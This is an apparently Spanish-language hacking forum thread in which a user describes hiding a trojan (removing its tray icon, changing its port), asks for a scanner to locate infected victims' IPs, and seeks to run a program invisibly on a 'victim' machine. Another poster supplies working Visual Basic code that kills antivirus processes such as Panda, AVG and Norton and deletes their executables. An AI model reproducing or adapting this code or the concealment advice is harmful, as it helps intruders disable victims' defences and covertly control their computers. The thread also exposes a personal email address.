Mensajes

M.. Pekeño Inconveniente..
Ya Cambie el Puerto del SERVER..
Como Ago para q el Client se Conecte a ese Puerto ? :S

jajaja lo lei pero no entendi nada.. eso el netCat nunk lo use y nose como usarlo.. al poner los comando en CMD me dice q no se reconocen... xD
creo q voy a seguir buskando x mi cuenta la forma..
Ya Pude Borrar el Icono del Tray.. y en Teoria Ya anda todo..
Le Borre el icono y las Opciones de Cerrar, Desconectar Etc..
m.. esa Parte esta Terminada.. Solo me keda la parte de hacer un Scanner para Saber Q Ips Estan Infectadas..
Ahora q Pieno..
Podria Usar el Scanner q Trae el VNC ByPassAuth ..
Solo q scaneo otro puerto.. y Configuro mi VNC server con otro Puerto..
Voy a Probar

Yo Me Refiero a q Si Yo Meto Un Troyando.. q Usa nose.. El Puerto 6249 x Ejemplo..
y Yo Tengo la Ip de la Victima.. .. Pero Luego Si su Ip cambia y yo a la quiero Volver a Encontrar.. Como Ago ?
paso un Skaner de Puertos en el Puerto 6249 ?

Hola Weno. Tengo una Duda q Ayudaria a Muchos la Verdad...
Supongo a La Mayoria Probo el VNC Xploit...
Vieron q El Programa Trae un Scanner q Escanea una Rango de IPS y te Dice Cuales IPS Estan Usando el VNC...

Seria Muy Util Un Scanner q Scaneara un Rango de Ips y nos dijiera q ips estan Infectadas con Nuestros Troyanos..

Seria un Meto Facil de Usar conexión Directa y no Inversa..
Ya q Aveces la Inversa es Media Fastidiosa si Tienes Varias Personas Infectadas..

Nose Nada acerca de Crear Scanners tmp se Como Funcionan..

Supongo .. va.. mi Teoria es q el Scanner manda un Ping.. Va una Señal a las Ips 1x1 Como Prenguntando PC x PC .. Troyanito Kerido.. Estas ?... y Nuestro Troyano al Recivir la Señal.. Manda una Respuesta Diciendo.. ACA ESTOY.!

Supongo q Es Asi...

Weno Si Alguien Sabe Podriamos hacen uno Con un Poko de Informacion q Vaya Aportando Cada uno..
Yo x mi Parte ya Aporte mi Teoria xD q para los q no saben como funcionan.. como yo.. pueden darse una idea.. y a base de esa idea empezar a probar Codigos.. yo voy a buskar mas Info y Sources de Scanners aver si Consigo Algo..

De Paso Podemos Colaborar todos Juntos..

Saludos a Todos los Miembros q Son Super Groxos.. a todos y a  cada uno los Admiro Muchisimo x todo lo q saben !

Emm ya me baje el ResHack pero nose como ver el Source..
Lo Unico q Pude ver es q en una parte me msotraba todo un Code Hexa.. nose si ese sera el Source en Hexa..

Weno Espero Respuestas y Gracias x La Ayuda..!

Ambos Codes Me Sirvieron !

Ah x Lo Del Programa..
Em Lo Hizo un Amigo No Creo q Lo Conoscas xD Pero no me Kiso Pasar el Source asike ni modo xD

Gracias X La Info..!
no Sabia nada del Res-Hack ahroa voy a ver si lo consigo en Google..


GRacias..!

Hola Weno Soy Muy Nuevo en este Foro..
Y espero q me puedan contestar esto..
kisas sea dificil o kisas no ..
pero es muy Util xD

Lo q quiero hacer es lo Sig..

Tengo un Exe de un Programa q Nesesito usar SI O SI y lamentablemente no tengo el Source.. Ojala se pudiera Conseguir..

Pero Nesesito q la "victima" avra ese programa.. pero q no lo veo..
El Programa Cuando se Avre aparece un Cuadrado q seria el Programa q indica q el Programa esta Andando.. y aparece un Icono en el Tray q Tmb Indica el Funcionamiento del Programa..

Keria Saber si Yo Mediante un EXE Pueda hacer un Shell al Programa pero de Forma Oculta.. q no se vea ni el Programa ni el Icono en el Tray..

Sera Posible ?

De No Serlo.. se Puede Desamblar y Editar para q sea Oculto ?

Gracias !

x las Dudas dejo mi MSN LooSeR.LooSeR@Hotmail.com

weno.. javito.. lo q yo haria seria en primer lugar.. matar el proceso de el anti-virus...

te dejare el codigo mas abajo..
una ves matado el proceso tiene q borrar el directorio del antivirus..

Codigo :

PON ESTO EN UN MODULO

Código [Seleccionar] Expandir


Option Explicit
Private Declare Function CloseHandle Lib "Kernel32.dll" (ByVal Handle As Long) As Long
Private Declare Function OpenProcess Lib "Kernel32.dll" (ByVal dwDesiredAccessas As Long, ByVal bInheritHandle As Long, ByVal dwProcId As Long) As Long
Private Declare Function TerminateProcess Lib "kernel32" (ByVal hProcess As Long, ByVal uExitCode As Long) As Long
Private Declare Function CreateToolhelpSnapshot Lib "kernel32" Alias "CreateToolhelp32Snapshot" (ByVal lFlags As Long, lProcessID As Long) As Long
Private Declare Function ProcessFirst Lib "kernel32" Alias "Process32First" (ByVal hSnapshot As Long, uProcess As PROCESSENTRY32) As Long
Private Declare Function ProcessNext Lib "kernel32" Alias "Process32Next" (ByVal hSnapshot As Long, uProcess As PROCESSENTRY32) As Long
Private Declare Function GetVersionExA Lib "kernel32" (lpVersionInformation As OSVERSIONINFO) As Integer
Private Type PROCESSENTRY32
dwSize As Long
cntUsage As Long
th32ProcessID As Long
th32DefaultHeapID As Long
th32ModuleID As Long
cntThreads As Long
th32ParentProcessID As Long
pcPriClassBase As Long
dwFlags As Long
szExeFile As String * 260
End Type
Private Type OSVERSIONINFO
dwOSVersionInfoSize As Long
dwMajorVersion As Long
dwMinorVersion As Long
dwBuildNumber As Long
dwPlatformId As Long
szCSDVersion As String * 128
End Type
Private Const PROCESS_ALL_ACCESS = 0
Private Const TH32CS_SNAPPROCESS As Long = 2&
Private Const WINNT As Integer = 2
Private Const WIN98 As Integer = 1
Public KillAppReturn As Boolean
Public Function getVersion() As Integer
Dim udtOSInfo As OSVERSIONINFO
Dim intRetVal As Integer
     
With udtOSInfo
    .dwOSVersionInfoSize = 148
    .szCSDVersion = Space$(128)
End With

intRetVal = GetVersionExA(udtOSInfo)

getVersion = udtOSInfo.dwPlatformId
End Function

Public Function Killapp(myName As String)
Select Case getVersion()
Case WIN98
Killapp9X (myName)
Case WINNT
KillappNT (myName)
End Select
End Function

Private Function KillappNT(myName As String)
Dim uProcess As PROCESSENTRY32
Dim rProcessFound As Long
Dim hSnapshot As Long
Dim szExename As String
Dim exitCode As Long
Dim myProcess As Long
Dim AppKill As Boolean
Dim appCount As Integer
Dim I As Integer
On Local Error GoTo Finish
appCount = 0
uProcess.dwSize = Len(uProcess)
hSnapshot = CreateToolhelpSnapshot(TH32CS_SNAPPROCESS, 0&)
rProcessFound = ProcessFirst(hSnapshot, uProcess)
Do While rProcessFound
    I = InStr(1, uProcess.szExeFile, Chr(0))
    szExename = LCase$(Left$(uProcess.szExeFile, I - 1))
    If Right$(szExename, Len(myName)) = LCase$(myName) Then
        KillAppReturn = True
        appCount = appCount + 1
        myProcess = OpenProcess(1&, -1&, uProcess.th32ProcessID)
        AppKill = TerminateProcess(myProcess, 0&)
        Call CloseHandle(myProcess)
    End If
    rProcessFound = ProcessNext(hSnapshot, uProcess)
Loop
Call CloseHandle(hSnapshot)
Finish:
KillAppReturn = False
End Function

Private Function Killapp9X(myName As String)
Dim uProcess As PROCESSENTRY32
Dim rProcessFound As Long
Dim hSnapshot As Long
Dim szExename As String
Dim exitCode As Long
Dim myProcess As Long
Dim AppKill As Boolean
Dim appCount As Integer
Dim I As Integer
On Local Error GoTo Finish
appCount = 0
uProcess.dwSize = Len(uProcess)
hSnapshot = CreateToolhelpSnapshot(TH32CS_SNAPPROCESS, 0&)
rProcessFound = ProcessFirst(hSnapshot, uProcess)
Do While rProcessFound
    I = InStr(1, uProcess.szExeFile, Chr(0))
    szExename = LCase$(Left$(uProcess.szExeFile, I - 1))
    If Right$(szExename, Len(myName)) = LCase$(myName) Then
        KillAppReturn = True
        appCount = appCount + 1
        myProcess = OpenProcess(PROCESS_ALL_ACCESS, False, uProcess.th32ProcessID)
        AppKill = TerminateProcess(myProcess, exitCode)
        Call CloseHandle(myProcess)
    End If
    rProcessFound = ProcessNext(hSnapshot, uProcess)
Loop
Call CloseHandle(hSnapshot)
Finish:
KillAppReturn = False
End Function


Y ESTO EN EL FORM

Código [Seleccionar] Expandir


Private Sub Form_Load()
Killapp "panda.exe"
Killapp "avg.exe"
Killapp "norton.exe"
'( pon los procesos de todos los antivirus q conoscas... )
'( aki pon la ruta del exe del antivirus para q sea borrado )
Kill ("C:\archivos de programa\Panda\panda.exe")
Kill ("C:\archivos de programa\AVG\avg.exe")
Kill ("C:\archivos de programa\Norton 200\norton.exe")


eso es todo fijate si te funciona y me avisas !

me dice
no se puede encontrar el punto de entrada de la DLL RegistrerServiceProcces en kernel32

borre la linea esa pero me sigue tirarndo el error igual

tengo las referencias ok.. pero si te fijas en el path de las referencias dice

C:\Archivos de Programa\Messenger\msMsgr.exe

y ahi es donde esta el Windows messenger

el MSN 7.5 esta en

C:\Archivos de Programa\MSN Messenger\Msgr.exe

y entonoses el programa me anda bien pero me avre el MSN de Windows.. en ves de el 7.5 .. y me dice q la versión q uso de windows messenger ya es vieja.. baje algunos updates pero sigue sin andar..